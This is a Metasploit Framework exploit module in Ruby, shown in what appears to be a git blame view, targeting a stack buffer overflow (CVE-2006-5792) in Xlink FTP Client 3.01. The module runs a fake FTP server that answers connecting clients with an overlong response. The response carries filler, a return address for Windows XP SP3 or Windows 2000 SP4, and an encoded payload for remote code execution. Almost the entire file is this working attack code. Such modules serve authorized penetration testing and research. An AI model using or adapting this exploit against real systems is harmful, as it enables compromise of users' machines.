2009-10-03 23:05:44 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-10-03 23:05:44 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-10-03 23:05:44 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::TcpServer
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Xlink FTP Client Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack buffer overflow in Xlink FTP Client 32
|
|
|
|
Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.
|
|
|
|
When a overly long FTP server response is recieved by a client,
|
|
|
|
arbitrary code may be executed.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2006-5792' ],
|
|
|
|
[ 'OSVDB', '33969' ],
|
|
|
|
[ 'URL', 'http://www.xlink.com' ]
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 550,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\().,",
|
|
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x7d054897 } ],
|
|
|
|
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7ce02a2d } ],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Oct 3 2009',
|
|
|
|
'DefaultTarget' => 0))
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
|
|
|
|
], self.class)
|
|
|
|
end
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def on_client_connect(client)
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
return if ((p = regenerate_payload(client)) == nil)
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sploit = rand_text_alpha_upper(260) + [target.ret].pack('V') + payload.encoded
|
|
|
|
sploit << rand_text_alpha_upper(1024 - payload.encoded.length) + "\r\n"
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending #{self.name}...")
|
|
|
|
client.put(sploit)
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler(client)
|
|
|
|
service.close_client(client)
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2009-10-03 23:05:44 +00:00
|
|
|
end
|